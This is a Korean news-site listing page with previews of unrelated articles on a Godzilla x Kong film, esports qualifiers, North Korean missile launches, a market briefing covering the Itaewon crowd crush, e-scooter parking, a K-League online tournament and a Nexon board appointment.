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'고질라x콩' 핑크빛 고질라→건틀렛 장착 콩…역대급 레벨업
  • '고질라x콩' 핑크빛 고질라→건틀렛 장착 콩…역대급 레벨업
  • [이데일리 스타in 김보영 기자] 지구상에서 가장 강력한 존재 ‘고질라’와 ‘콩’이 ‘고질라 X 콩: 뉴 엠파이어’를 통해 업그레이드돼 돌아온다.올해로 데뷔 70주년을 맞이한 ‘고질라’는 인간의 핵 실험에 의해 깨어난 지구상의 최상위 포식자다. 키 119.8m, 몸무게 약 10만t, 전체 몸길이 280m의 위용을 자랑하는 ‘고질라’는 그동안 몬스터버스 시리즈를 통해 초월적인 힘을 과시해왔다. 그는 방사능을 푸른색 화염으로 변환시킨 ‘아토믹 브레스’를 비롯해 거대한 피지컬에서 나오는 압도적인 파워와 적의 귀를 멀게 만드는 포효, 수백 마일 밖의 소리를 감지할 수 있는 청력, 89개의 등지느러미를 활용해 물속에서 시속 70km까지 이동하는 능력까지 갖췄다. ‘고질라 X 콩: 뉴 엠파이어’에서 고질라는 전보다 길어진 팔과 근육질 다리, 작아진 머리 등 날렵한 비주얼로 돌아왔다. 다가오는 위협에 대비하기 위해 방사능을 최대치로 흡수, 등지느러미를 핑크빛으로 발광하며 새로운 진화를 예고해 영화 팬들의 이목을 집중시킨다.1933년 영화 ‘킹콩’을 통해 데뷔한 ‘콩’은 괴수 영화를 대표하는 전설적인 캐릭터로 오랜 시간 많은 사랑을 받아왔다. 특히 ‘콩’의 탄생을 그린 영화 ‘콩: 스컬 아일랜드’(2017)는 몬스터버스 시리즈 중 최고 흥행을 기록하며 뜨거운 인기를 입증했다. 야만적인 근육과 괴력에 위엄까지 갖춘 키 102.7m의 초거대 야수 ‘콩’은 필요에 따라 이족보행과 사족보행을 오가는 뛰어난 민첩성은 물론 이위족의 유일한 생존자인 지아와 수화로 소통할 만큼 높은 지능을 지녔다. 전작 ‘고질라 VS. 콩’에서 ‘고질라’ 종족의 뼈와 등지느러미로 제작한 도끼를 자유자재로 사용하며 도구 활용에 능한 모습을 보인 ‘콩’은 모나크에서 개발한 최신 장비 ‘B.E.A.S.T. 건틀렛’을 장착하고 나타나 한층 업그레이드된 액션을 선보일 것으로 기대를 모은다.상상초월의 거대한 위협에 맞서 힘을 합친 ‘고질라’와 ‘콩’이 몬스터버스 사상 최강의 팀업을 펼치는 액션 블록버스터 ‘고질라 X 콩: 뉴 엠파이어’는 오는 3월 27일 극장에서 국내 관객들과 만난다.
2024.03.14 I 김보영 기자
박지민-박기영, 피파온라인4 항저우AG 국대 후보 선정
  • 박지민-박기영, 피파온라인4 항저우AG 국대 후보 선정
  • (왼쪽부터) 박지민 선수, 신보석 감독, 박기영 선수[이데일리 정다슬 기자] 피파온라인4의 항저우 아시안게임 국가대표 추가 선발전에서 박지민과 박기영이 국가대표 후보로 선정됐다고 13일 밝혔다. 피파온라인은 EA 코리아 스튜디오가 개발하고 넥슨이 서비스하는 정통 온라인 축구게임이다. 추가 선발전은 2022 항저우 아시안게임이 코로나19 확산으로 1년 연기됨에 따라 국가대표 선수의 경쟁력을 재평가하기 위한 목적으로 실시됐다. 이번 추가 선발전의 결선은 지난 10일부터 12일까지 잠실 비타500 콜로세움에서 실시됐으며, 본선에서 올라온 8명의 쟁쟁한 선수들이 뜨거운 경합을 펼쳐졌다.1, 2일차에 열린 8강전은 A와 B 그룹으로 나눠 더블 엘리미네이션 방식으로 진행됐다. 치열한 접전 끝에 윤형석, 박지민, 변우진, 박기영이 4강전 진출에 성공했다. 마지막 날인 3일차 4강 1경기에서는 박지민이 폭발적인 공격력으로 경기를 주도하며 승리했고, 2경기에서는 박기영이 발군의 집중력으로 상대를 제압하며 결승에 올랐다. 결승전에서 박지민과 박기영은 최고의 기량을 발휘하며 매서운 공방을 주고받았으나, 마지막 3세트에서 박지민이 전반전에 터트린 선제골을 끝까지 지켜내며 2대1 승리를 거머쥐었다.우승자 박지민은 “추가 선발전에 대한 소식을 듣고 국가대표의 기회를 놓치지 않으려고 열심히 연습했는데 그 결과가 우승으로 나타나서 기분이 좋다”며 “아시안게임을 위한 국가대표 자리이기 때문에 누구보다 열심히 준비해 좋은 성적 낼 수 있도록 하겠다”고 포부를 밝혔다.신보석 국가대표 감독은 “아시안게임이 1년 연기되면서 어려움이 많았는데 많은 분들이 응원해 주시고 도와주셔서 이 자리까지 올 수 있었다. 감사하다는 말씀을 전하고 싶다”며 “남은 시간 잘 준비해서 응원과 성원에 보답할 수 있는 좋은 경기력으로 돌아오겠다”고 전했다.한편, 오는 5월에는 아시안게임에 출전할 최후 2인이 종합적 평가를 통해 선발될 예정이다. 이로써 기존에 선발된 국가대표 예비 선수 김병권, 곽준혁과 이번 추가 선발전에서 발탁된 박지민, 박기영을 포함한 총 4명의 선수 중 2명이 9월 개최되는 항저우 아시안게임의 참가 자격을 얻는다.
2023.02.13 I 정다슬 기자
美 'B-1B' 2대, 한반도 날자…北 서해상 탄도미사일 또 쐈다
  • 美 'B-1B' 2대, 한반도 날자…北 서해상 탄도미사일 또 쐈다
  • [이데일리 남궁민관 기자] 북한이 5일 서해상으로 단거리 탄도미사일(SRBM) 4발을 발사하며 11월에만 세 차례 도발을 감행했다. 당초 4일까지였던 한미 연합공중훈련인 ‘비질런트 스톰(Vigilant Storm)’이 하루 늘린 이날까지 진행되는 가운데, 이를 빌미로 벌인 도발로 풀이된다.합동참모본부가 북한의 장거리 탄도미사일 1발과 단거리 탄도미사일 2발을 포착했다고 밝힌 3일 오전 서울역 대합실에서 시민들이 관련 뉴스를 보고 있다.(사진=연합뉴스)합동참모본부는 이날 오전 11시 32분께부터 11시 59분께까지 북한이 평안북도 동림 일대에서 서해상으로 발사한 SBRM 4발을 포착했다. 해당 미사일의 비행거리 130여㎞, 고도는 20여㎞, 속도 약 마하 5(음속 5배)로 탐지됐으며, 보다 구체적인 내용은 한미 정보당국이 정밀 분석 중이다.군은 최근 북한의 도발이 잇따르고 있는 만큼 한미 간 긴밀한 공조 하에 관련 동향을 추적 감시하고, 추가 도발에 대한 감시·대비태세를 보다 강화하고 있다.앞서 북한은 지난 9월부터 20여차례에 걸친 도발을 감행해왔다. 동·서해상에 잠수함발사탄도미사일(SLMB)과 SBRM을 발사하고 포격 사격을 하는가 하면, 전투기를 대규모로 동원한 항공훈련을 펼쳤다. 이달 들어서는 지난 2일 분단 이후 처음으로 동해 북방한계선(NLL) 이남으로 탄도미사일을 4차례에 걸쳐 25발 가량을 발사했다. 해당 탄도미사일은 울릉도 방향으로 날아오면서 울릉군에 공습경보가 발령되기도 했다. 또 3일에는 지난 5월 이후 6개월여 만에 대륙간탄도미사일(ICBM)로 추정되는 탄도미사일 1발과 SRBM 5발을 발사하기도 했다. 북한의 연이은 도발은 지난달 31일부터 시작된 비질런트 스톰을 견제하기 위한 시도로 풀이된다. 비질런트 스톰은 우리 공군의 F-35A·F-15K·(K)F-16·KC-330 등 140여대와 미군의 F-35B·EA-18·U-2·KC-135 등 100대를 합쳐 총 240여대의 대규모 전력이 참여해 실전과 같이 공중전투훈련을 진행하는 훈련이다. 당초 4일까지 진행될 예정이었으나 북한의 도발에 대한 경고 메시지 차원에서 이날까지 하루 연장해 진행 중으로, 특히 미 공군의 전략자산으로 꼽히는 B-1B 전략폭격기 2대가 합류해 F-35A·F-16 등 전투기 8대와 연합훈련을 전개했다. 이날 SRBM 발사 역시 이에 대한 맞대응 차원에서 이뤄진 도발인 것으로 보인다.실제로 북한 대외선전매체인 ‘메아리’는 이날 비질런트 스톰과 관련 “미국과 괴뢰들은 우리의 자위적인 대응조치들을 구실로 련합공중훈련을 연기함으로써 저들의 북침전쟁기도를 더욱 로골적으로 드러내놓았다”고 강도 높게 비난했다. 또 선전매체 ‘통일의메아리’는 “수많은 전투기를 동원해 최대규모의 련합공중훈련을 감행하고도 모자라 전쟁연습기일을 더 연장하려하는 것을 보면 괴뢰역적패당과 미국의 전쟁도발흉계가 어느 정도에 이르렀는가 하는 것을 잘 알 수 있다”고, ‘우리민족끼리’는 “괴뢰들이 외세와 야합하여 우리 공화국을 군사적으로 압살하기 위한 불장난소동을 그칠새 없이 벌려놓고 있는 것으로 하여 오늘 조선반도에서 군사적 긴장은 최고조에 달하고 있다”고 강변했다.
연이은 北 도발에 '경고장'…한반도에 '죽음의 백조' B-1B 뜬다
  • 연이은 北 도발에 '경고장'…한반도에 '죽음의 백조' B-1B 뜬다
  • [이데일리 남궁민관 기자] 이른바 ‘죽음의 백조’로 불리는 미 공군 전략폭격기 ‘B-1B 랜서’가 한반도로 날아온다. 최근 연이은 북한의 도발에 따라 당초 4일에서 5일까지로 하루 연장된 한·미 연합공중훈련 ‘브질런트 스톰(Vigilant Storm)’에 합류해 강력한 대북 경고 메시지를 전하기 위한 조치다.미국 괌 앤더슨 기지에 도착한 B-1B.(사진=연합뉴스)5일 군에 따르면 미 공군 B-1B 전략폭격기는 이날 오후 한반도로 날아와 ‘비질런트 스톰’에 합류할 예정이다.비질런트 스톰은 우리 공군의 F-35A·F-15K·(K)F-16·KC-330 등 140여대와 미군의 F-35B·EA-18·U-2·KC-135 등 100대를 합쳐 총 240여대의 대규모 전력이 참여해 실전과 같이 공중전투훈련을 진행하는 훈련이다. 지난달 31일 시작해 닷새 일정으로 진행할 예정이었으나 북한의 도발에 대한 경고 메시지 차원에서 하루 연장됐다.이번 비질런트 스톰에 합류할 B-1B는 융단 폭격이 가능한 전략 폭격기다. 통합정밀직격폭탄인 제이담(JDAM) 뿐 아니라 비유도 일반폭탄 등 최대 60톤의 폭탄을 탑재할 수 있어 ‘폭격기의 제왕’이라 불리는 B-52보다 무장력이 2배에 달한다. 스텔스 성능도 갖춰 10㎞ 밖에서는 적 레이더에 잡히지 않고, 4개의 엔진이 달린 초음속 날개를 통해 마하2의 속도로 비행할 수 있다.B-1B는 북한이 6차 핵실험과 대륙간탄도미사일(ICBM) 발사 등 도발을 벌인 2017년 12월 한·미 연합공중훈련에도 참여했었다. 앞서 미군은 지난달 중순 태평양 괌 앤더슨 기지에 4대 배치했는데, 최근 북한의 움직임이 심상치 않은 데에 따라 이날 비질런트 스톰 합류에 나서게 됐다.실제로 최근 북한 도발은 횟수를 더해가며 강도 또한 높이고 있다. 실제로 올해 9월부터 벌어진 북한의 도발은 20여차례에 이른다. 우선 지난 9월에는 25일과 26일 연이틀 동해상에 각각 잠수함발사탄도미사일(SLMB) 1발과 단거리 탄도미사일(SRBM) 2발을 발사했고, 곧장 28일에도 SRBM 2발을 추가로 발사했다. 10월 역시 1일부터 동해상 SRBM 2발을 발사한 북한은 4일 태평양을 향하 중거리 탄도미사일(IRBM) 1발, 또 6일 동해상에 SRBM 2발을 발사하고 군용기 12대를 동원해 편대 비행 및 공대지 사격 훈련을 펼쳤다. 8일 전투기 150여대를 동원해 대규모 항공 공격 총합훈련을 펼치고 동부 전선 일대 장사정포 부대 포병 화력 훈련을 전개한 북한은 이후에도 군용기로 위협비행을 하거나 동·서해상 포격 사격을 하는 등 도발을 이어갔다.이달 들어 2일과 3일 역시 북한의 도발은 이어졌다. 북한은 지난 2일에는 분단 이후 처음으로 동해 북방한계선(NLL) 이남으로 탄도미사일을 4차례에 걸쳐 25발 가량을 발사했다. 해당 탄도미사일은 울릉도 방향으로 날아오면서 울릉군에 공습경보가 발령되기도 했다. 또 3일에는 지난 5월 이후 6개월여 만에 대륙간탄도미사일(ICBM)로 추정되는 탄도미사일 1발과 SRBM 5발을 발사했다.
애플·인텔 실적 호조…나스닥 2.87%↑
  • 애플·인텔 실적 호조…나스닥 2.87%↑ [뉴스새벽배송]
  • [이데일리 김인경 기자] 28일(현지시간) 뉴욕증시는 일제히 상승 마감했다. 애플과 인텔이 3분기 어닝서프라이즈를 기록하며 나스닥 지수는 2.87% 상승했다. 애플과 인텔이 시장 분위기를 띄우면서 마이크로소프트나 알파벳 등도 4%대 강세를 보이기도 했다. 핼러윈을 앞둔 29일 밤 서울 용산구 이태원에서 수많은 인파가 몰리며 압사사고가 발생했다. 31일 오전 6시 기준 사망자는 154명, 중상자는 33명, 경상자는 116명으로 집계됐다. 희생자 대부분 20대 전후 젊은이들로 코로나19 이후 3년 만에 사회적 거리두기 없는 핼러윈을 즐기러 나온 것으로 알려졌다.정부는 11월 5일까지 국가 애도 기간으로 정하고 용산구를 특별재난지역으로 선포했다. 이날 오전 10시 서울광장에 합동분향소가 마련된다. 다음은 31일 개장 전 주목할 뉴스다.(사진=AFP 제공)◇ 실적 호조세에 3대지수 모두 상승-28일(현지시간) 마켓포인트에 따르면 이날 미국 뉴욕증권거래소에서 블루칩을 모아놓은 다우존스 30 산업평균지수는 전거래일 대비 2.59% 상승한 3만2861.80에 거래를 마쳐. -스탠더드앤드푸어스(S&P) 500 지수는 2.46% 오른 3901.06을 기록. 기술주 위주의 나스닥 지수는 2.87% 오른 1만1102.45에 마감.-애플과 인텔이 분위기를 띄우면서 다른 빅테크들 주가도 오르자, 시장은 위험 선호가 짙어져. 마이크로소프트(4.02%), 알파벳(구글 모회사·4.30%), 테슬라(1.52%), 메타(페이스북 모회사·1.29%) 등은 모두 상승.◇ 애플·인텔 3Q 어닝서프라이즈 -애플은 올해 3분기 901억5000만달러의 매출액을 올려. 전년 동기 대비 8.1% 급증. 역대 3분기 최대 매출액 규모. -금융정보업체 리피니티브가 집계한 시장 전망치(889억달러)를 웃돌아. -팀 쿡 애플 최고경영자(CEO)가 “달러화 강세만 없었다면 매출액 성장률이 두자릿수을 기록했을 것”이라고 언급. 애플은 이날 7%대 강세를 보여. -인텔은 3분기 153억4000만달러의 매출액을 올리며 시장 추정치(152억5000만달러)를 소폭 상회. 인텔은 또 내년에 30억달러 규모의 판매·운영 비용 절감을 목표로 하고 있다고 밝혀. 인텔은 10%대 상승-다만 아마존은 어닝쇼크 속 6%대 약세. 아마존은 3분기 1271억달러의 매출액을 기록. 월가 전망치(1274억6000만달러)에 못 미쳐. ◇꺾이지 않는 인플레 우려-상무부에 따르면 지난달 개인소비지출(PCE) 가격지수는 전년 동월 대비 6.2% 상승. 특히 변동성이 큰 에너지, 식료품을 제외한 근원 PCE 가격지수는 1년 전보다 5.1% 상승. -전월 대비로는 0.5% 급등. 다우존스가 집계한 시장 예상치(0.5%)와 비슷해.-이에 뉴욕채권시장은 또 흔들려. 연방준비제도(Fed) 통화정책에 민감한 미국 2년물 국채금리는 장중 4.433%까지 급등. 물가가 잘 잡히지 않자 연준의 공격 긴축 전망이 많아졌기 때문.-주요 6개국 통화 대비 달러화 가치를 나타내는 달러인덱스는 111.04까지 뛰어◇ 러시아, 우크라 곡물 협정 중단 선언-러시아는 이날 새벽 우크라이나 드론 16대가 영국 군사 전문가의 도움으로 크림반도에 있는 자국 함대를 공격했다며, 이에 대한 대응으로 흑해를 통해 우크라이나의 곡물 수출을 허용하기로 한 협정 이행을 중단한다고 밝혀.-지난 2월 러시아의 침공 이후 세계 주요 곡물 수출국인 우크라이나의 흑해 항로가 봉쇄되면서 전 세계적으로 식량 수급에 대한 우려가 확산, 우크라이나와 러시아, 유엔과 튀르키예(터키)는 흑해 항로를 통한 곡물 수출 재개를 위해 항로 안전을 보장하기로 지난 7월 합의. 이에 약 5개월 만인 지난 8월 1일 흑해에서 우크라이나 곡물을 실은 수출 선박이 출항했으나 다시 막힐 위기에 처한 것. [이데일리 이영훈 기자] 서울 이태원 해밀톤호텔 인근에서 발생한 압사로 153명 사망자가 발생한 30일 이태원역에서 시민들이 추모하고 있다.◇ 이태원참사, 사망 154명·중상자 33명- 중앙재난안전대책본부(중대본)는 31일 오전 6시 기준 이태원 압사 사고로 인한 인명피해가 사망자 154명, 중상자 33명, 경상자 116명 등 총 303명이라고 밝혀.-직전 집계인 전날 오후 11시 기준 286명보다 늘어난 수치지만, 중상자는 36명에서 3명이 줄어. 경상자는 96명에서 10명 늘었으며, 사망자는 154명에서 변동 없음. 사망자 중 1명을 제외한 153명은 신원확인 완료.-정부는 사고 경위를 파악 중이며, 경찰은 사이버대책상황실을 운영해 온라인 허위사실 유포 등 6건에 대한 입건 전 조사수사를 진행 중.-29일 밤 핼러윈을 앞두고 이태원에 수많은 사람들이 몰리며 압사 사고가 발생. 희생자는 대부분 20대 전후 젊은이들로 코로나19 이후 3년만에 사회적 거리두기 없는 핼러윈을 즐기러 나온 것으로 추정. -서울광장에는 31일 오전 10시부터 합동 분향소가 마련.◇ 서울 용산구, 특별재난지역 선포-윤석열 대통령이 이태원 대규모 인명사고와 관련해 30일 서울시 용산구를 특별재난지역으로 선포했다고 행정안전부가 밝혀.-윤 대통령이 전날 오전 국정 최우선 순위를 이태원 사고 수습과 후속조치에 두겠다는 담화문을 발표한 데 따른 것.-이번 특별재난지역 선포는 사회재난으로는 11번째 사례.-앞서 1995년 삼풍백화점 붕괴, 2003년 대구지하철 방화사건, 2007년 허베이스피리트호 유류유출사고, 2012년 휴브글로벌 불산누출사고, 2014년 세월호 침몰사고, 2020년 코로나19 사태 때 특별재난지역이 선포-정부는 다음달 5일까지 한 주를 국가애도기간으로 정해.◇ 한미 공중훈련 비질런트 스톰 시작-F-35A와 F-35B 등 한미 군용기 240여 대가 참가하는 연합공중훈련 ‘비질런트 스톰’(Vigilant Storm)이 31일 시작.-공군과 미 7공군사령부가 이날부터 내달 4일까지 진행하는 비질런트 스톰 훈련에는 한국 공군의 F-35A, F-15K, KF-16 전투기, KC-330 공중급유기 등 140여 대와 미군의 F-35B 전투기, EA-18 전자전기, U-2 고공정찰기, KC-135 공중급유기 등 100여 대 등 모두 240여 대거 투입. -북한의 7차 핵실험 가능성이 제기되는 가운데 한미는 이번 훈련으로 강력한 대북 경고 메시지를 발신. 이에 대응한 북한의 반발성 무력 시위 가능성도 제기
2022.10.31 I 김인경 기자
살길 찾아 나선 공유 킥보드...주정차 문제는 여전
  • 살길 찾아 나선 공유 킥보드...주정차 문제는 여전
  • [이데일리 염정인 인턴기자]도로교통법 개정 이후 공유 전동 킥보드 기업들이 ‘살 길’을 찾기 위해 분주하다. 공유 킥보드 기업들은 대중교통과 개인형 이동수단(PM)을 연동해 ‘환승 서비스’를 제공하는 협의체를 구성하며 이용자 확보에 나섰지만, 기존에 제기되던 주차, 과속 문제 등이 해결되지 않으면 공유킥보드 시장이 유지되기 어려울 것이라는 관측이 나온다.지난 3일 스마트 모빌리티 기업 ‘휙고’는 교통카드 ‘캐시비’ 운영사인 로카모빌리티와 함께 ‘중교통과 PM 연계 사업 협의체’에 참여했다고 밝혔다. 이 협의체에는 지바이크(지쿠터), 피유엠피(씽씽) 등 PM기업도 다수 참여했다.PM기업이 교통카드 환승 할인 서비스를 위해 머리를 맞댄 것은 최근 도로교통법 개정 이후 이용자 수가 급감한 것에 대한 대응책으로 보인다. 홍익대 앞에 주차된 전동 킥보드 모습(사진=염정인 인턴기자) 공유 전동 킥보드 “관리 부족” 그러나 공유 전동 킥보드를 비롯한 개인형 이동수단(PM)의 주정차 문제는 여전하다. 이데일리 스냅타임이 지난 3일 오후 주요 시내를 돌아다니며 주정차 실태를 파악한 결과, 마구잡이로 주정차된 공유 킥보드를 쉽게 볼 수 있었다.경기도 고양시의 탄현역에서는 공유 전동 킥보드와 전기 자전거가 쓰러지듯 주차돼 있었다. 탄현역 관계자는 “역사 차원에선 별도로 관리하지 않는다”고 밝혔다. 서울 마포구의 홍대입구역에서도 쓰러진 전동 킥보드를 만날 수 있었다. 탄현역 앞에 전동 킥보드가 주차된 모습(사진=염정인 인턴기자) 홍대입구역 인근 거리에 쓰러져 있는 전동 킥보드 모습(사진=염정인 인턴기자) 홍익대학교 내부에도 주차된 전동 킥보드는 많았다. 홍익대에서 전동 킥보드를 타고 있던 재학생 최모씨(22)는 “전동 킥보드 주차 문제가 심각한 건 맞다”면서도 “아무 데나 주차할 수 있는 점이 가장 큰 장점이기도 하다”고 말했다. 지정된 주차 구역이 있어서 집 앞 골목이나 학교 건물까지 이동하지 못한다면 전동 킥보드를 이용할 이유가 줄어든다는 거다. 홍익대 내부에 주차된 전동 킥보드 모습(사진=염정인 인턴기자) 홍익대 관리인은 “순찰할 때 보면 전체적으로 전혀 관리가 안 되고 있다”고 말했다. 대학생 박모씨(23)는 “계단을 올라가야 하는데 킥보드가 가로막고 있거나 정말 뜬금없는 곳에 주차된 경우를 많이 봤다”며 “무거워서 옮길 수도 없다”고 답했다. 실제 전동 킥보드는 한 대에 약 25kg이다. 이어 박모씨(23)씨는 “나는 괜찮아도 휠체어나 유모차를 이용하는 사람들은 힘들 것 같다”고 덧붙였다. 실제 여의도역 인근의 서울시립미술관의 한 출입구 바로 앞엔 전기 자전거가 주차돼 있었다. 또한 홍대입구역 9번 출구 근처에선 길 가운데 위치한 전동 킥보드를 피해 걷는 보행자들의 모습이 관찰됐다. 서울시립미술관 출입구를 막고 있는 전동 킥보드의 모습(사진=염정인 인턴기자) 한 시민이 쓰러진 전동 킥보드를 피해 걷고 있다.(사진=염정인 인턴기자) 한편 헬멧이 분실돼 따로 벤치에 놓아져 있는 경우도 발견했다. 주정차된 킥보드를 봐도 헬멧이 없는 경우가 많았다. 전동 킥보드 업체 중 하나인 ‘지쿠터’ 관계자는 헬멧 분실이나 불법 주정차에 관해선 “현장 운영팀이 나가 해결하고 있다”고 답했다. 홍익대 야외 벤치에 헬멧이 혼자 놓여 있다.(사진=염정인 인턴기자) 현장 운영팀과 더불어, 주차 시 GPS를 이용해 반납 제한구역에선 반납이 불가하도록 설정해놨다. 하지만 별도의 주정차 공간을 마련해 시스템을 구축하지 않는 이상 현장 운영팀의 순찰에만 의지할 수밖에 없는 구조다. ‘지쿠터’ 관계자 역시 “신고가 들어오면 현장 운영팀이 출동한다”고만 답했다. 전동 킥보드를 이송 중인 모습(사진=염정인 인턴기자)공유킥보드 시장, 지자체 관리 해결책 될까 정부와 지자체의 적절한 규제를 통해 공유킥보드의 쾌적한 이용을 유도하고, PM 시장의 ‘살 길’을 터줘야 한다는 목소리도 나온다. 특히 시민들의 눈총을 받고 있는 주정차 문제를 해결하기 위해서는 전용 주차 공간을 지정하거나 공유킥보드 총량제를 도입해야 한다는 주장도 나온다.최근 원주시는 전동 킥보드 주정차 문제에 칼을 빼들었다. 지난 1일(월) 원주시는 전국에서 두 번째로 ‘주정차 위반 전동킥보드 민원신고시스템’을 운영하겠다고 밝혔다. 무분별하게 주차된 전동 킥보드가 보행 환경을 저해하고 있단 이유에서였다. 원주시청 홈페이지를 통해 전동 킥보드에 부착된 QR코드를 인식하면 손쉽게 신고할 수 있다.서울시는 이전부터 공유 전동 킥보드의 불법 주정차 신고제와 함께 ‘전동 킥보드 전용 주차장’을 설치했다. 하지만 찾기 어렵다는 것이 시민 의견이다. 기자가 직접 홍대입구역 인근에 있는 전동 킥보드 주차장을 2곳 방문해본 결과 각각 1대의 전동차만 주차돼 있었다. 홍대입구역 인근 킥보드 주자창 모습(사진=염정인 인턴기자) 다만 ‘지쿠터’ 관계자는 “서울시가 만든 주차장을 일일이 안내할 수 없다”고 말했다. “모든 지역에 전용 주차장이 마련된 것은 아니기 때문”이다.송파구, 서초구, 마포구, 노원구에서 전동 킥보드 이용자를 대상으로 한 전용 주차존을 운영하고 있다. 현재는 13~50개 수준이며 서울시는 연내 360곳으로 확대할 예정이라 밝혔다.
2022.08.04 I 염정인 기자
프로축구연맹, K리그 선수 참가 랜선 토너먼트 개최
  • 프로축구연맹, K리그 선수 참가 랜선 토너먼트 개최
  • [이데일리 스타in 이석무 기자] K리그 랜선 개막전에 이어 이번에는 랜선 토너먼트가 열린다.2020시즌 K리그 개막이 코로나19로 잠정 연기된 가운데 한국프로축구연맹은 지난 7일 ‘랜선 개막전’이라는 특별한 이벤트를 실시했다.‘랜선 개막전’에는 배성재, 윤태진 아나운서가 참여해 인기 온라인게임 ‘EA SPORTS™ FIFA Online 4’(이하 ‘FIFA 온라인 4’)를 통해 당초 2월 29일로 예정되었던 2020시즌 K리그 개막전 대진을 가상 대결로 펼쳤다.두 사람의 경기는 1만3000명이 넘는 동시 접속자 수를 기록했고 이후 관련 유튜브 콘텐츠 조회 수도 약 26만 회에 달했다. K리그 선수들이 직접 온라인 맞대결을 펼치는 모습을 보고싶어 하는 많은 팬들의 의견도 있었다.이에 프로축구연맹은 K리그 선수들이 참여하는 ‘K리그 랜선 토너먼트’를 개최한다. ‘K리그 랜선 토너먼트’에는 K리그 8개 구단(경남, 제주, 포항, 울산, 인천, 성남, 대구, 강원) 소속 선수들이 참가한다. 22일 오후 7시부터 10시까지 아프리카TV를 통해 생중계된다.경기 방식은 8강 토너먼트, 단판 승부로 진행된다. A조에서는 경남-제주, 포항-울산이 맞붙고 B조에서는 인천-성남, 대구-강원이 만난다. 각 경기에는 8개 팀의 소속 선수가 1명씩 대표로 참여한다. 참가하는 선수들이 원래 사용하던 계정의 베스트 일레븐 멤버에, 본인을 포함한 소속팀 10명의 선수를 추가하여 총 21명의 선수를 사용할 수 있다.단, 선발명단에는 소속팀 선수가 3명 이상 포함되어야 하고, 대기선수는 전부 소속팀 선수여야 한다. 참가 선수들이 구성한 실제 스쿼드는 21일 오후 1시 연맹 공식 SNS채널을 통해 공개된다.‘랜선 토너먼트’의 특이점은 일단 참가 선수의 정체를 밝히지 않고 경기를 진행한다는 데 있다. 어떤 선수가 플레이를 하고 있는지 추측해보는 재미가 있다. 대신 게임에 진 선수는 전화인터뷰를 통해 정체가 공개된다.연맹은 공식 비디오게임 파트너 EA에서 진행하는 ‘FIFA 온라인 4 AFATT(Amateur Tripleteam Tournament)’ 대회에 꾸준히 K리그 유니폼을 지원하는 등 e스포츠와 관련된 다양한 프로모션을 지속해오고 있다.
2020.03.20 I 이석무 기자
‘uneducated’ 배필5 논란 일으킨 패트릭 쇠더룬드, 넥슨 합류
  • ‘uneducated’ 배필5 논란 일으킨 패트릭 쇠더룬드, 넥슨 합류
  • △ '배틀필드 5' 스크린샷 (사진출처: 영상 갈무리)[관련기사][뉴스] 넥슨, DICE CEO 출신 개발자가 설립한 '엠바크'에 투자[뉴스] 배틀필드 5, PC 논란에 부채질하는 제작진들EA ‘배틀필드 5’는 게임 내 논란에 대해 개발진의 적절치 못한 대응으로 홍역을 앓은 바 있다. 그 중에서도 게이머를 ‘교육받지 못한(uneducated) 사람’으로 치부한 패트릭 쇠더룬드 전 EA 최고 창작 책임자는 비판을 한 몸에 받았다. 그런 그가 넥슨 이사로 지명돼 논란이 일고 있다.넥슨은 지난 8일, 패트릭 쇠더룬드가 설립한 게임 개발사 엠바크스튜디오에 전략적 투자를 단행했다고 발표했다. 또한, 패트릭 쇠더룬드를 넥슨 이사회 멤버로 지명하고, 오는 2019년 3월 주주총회를 통해 정식 임명하겠다고 전했다.엠바크스튜디오는 패트릭 쇠더룬드가 10월 EA 퇴사 후 설립한 개발사로, 스트리밍 기술, 클라우드 컴퓨팅, 인공지능 등 신기술을 바탕으로 온라인게임을 개발하는 것이 목표다. 또한, 자체 기술을 활용한 플랫폼도 개발할 예정이다. 넥슨은 엠바크스튜디오 개발 역량에 자사 운영 노하우를 더해 차세대 온라인게임을 선보이겠다고 밝혔다.문제는 엠바크스튜디오를 세운 패트릭 쇠더룬드가 EA 재직 시절 여론 대응에 문제가 있었다는 점이다. 당시 그는 게임 웹진 가마수트라와의 인터뷰에서 ‘배틀필드 5’가 역사적인 고증에 맞지 않다는 유저들의 지적에 대해 “시나리오를 이해하지 못하는 교육받지 못한 사람”이라며, “받아들이든지, 아니면 게임을 사지 마라”고 말했다. 이처럼 유저를 무시하는 듯한 발언은 논란을 키우는데 일조했다.패트릭 쇠더룬드 과거 발언에 대해서 넥슨은 “이전 소속회사 시절 개인적인 발언과 관련해 답변을 드리기 곤란한 점을 양해 바란다”고 입장을 밝혔다.본 기사는 게임전문매체 게임메카(www.gamemeca.com)에서 제공하고 있습니다.
  • [스냅타임] 나는 전직 ‘개념녀’입니다
  • 우리는 다양한 갈등을 겪는다. 남성과 여성의 갈등부터 20대와 기성세대 간의 갈등, 직장에서 상사와 부하직원들의 갈등까지 종류도 다양하다. 갈등의 주체들은 서로를 이해하지 못한다. 평행선을 달리는 의견 차이에 갈등은 좁혀지지 않는다. 애초 서로를 이해하는 것을 포기하는 경우도 생긴다. 예민하고 민감한 사항일수록 더 그렇다. 그러나 갈등은 그냥 버려둘수록 곪아간다. 갈등이 벌어지는 이유는 서로에 대해 모르는 것 투성이이기 때문이다. 갈등을 한 번에 해결하는 것은 쉽지 않지만, 서로를 이해하려는 시도부터가 시작이다. 말할 수 없었던 서로의 속사정을 ‘뒤땀화톡’을 통해 소개하고 뒤에서 흘린 땀과 화를 시원하게 식혀주고자 한다. [편집자주] 지난해 여름, 김선영(24·여)씨는 친구에게 한 가지 제안을 받았다. “괜찮은 오빠 있는데, 소개받을래?” 당시 만나던 사람이 없었던 김씨는 흔쾌히 수락했다. 김씨의 첫 번째 소개팅이었다. 그는 친구의 말대로 괜찮은 사람이었다. 차분하고, 어른스러운. 김씨는 어쩌면 그와 좋은 만남을 이어갈 수 있을지도 모른다 생각했다. 그러나 이 생각은 얼마 지나지 않아 깨지고 말았다. 밥을 먹고 더치페이를 하려는 김씨에게 그가 이렇게 말했다. (이미지=이미지투데이) 개념의 정의는 ‘돈’? 김씨와 그는 소개로 만났다. 서로 누가 먼저 데이트 신청을 한 것이 아니었고, 김씨는 그가 마음에 들었지만, 그의 마음은 알 길이 없기에 자신의 몫을 내야겠다고 생각했다. 그저 김씨의 상식선에서 했던 행동이었을 뿐인데, ‘개념녀’ 타이틀을 얻었다. (이미지=스냅타임) ‘개념녀’. 호의적으로 건넨 말이었을 텐데, 김씨는 알 수 없는 찝찝함이 들었다. 이유는 몰랐지만, 본능적으로 알고 있었으리라. ‘돈을 똑같이 내는 것이 어째서 개념 있는 행동으로 여겨지는가’에 대한 의문을. 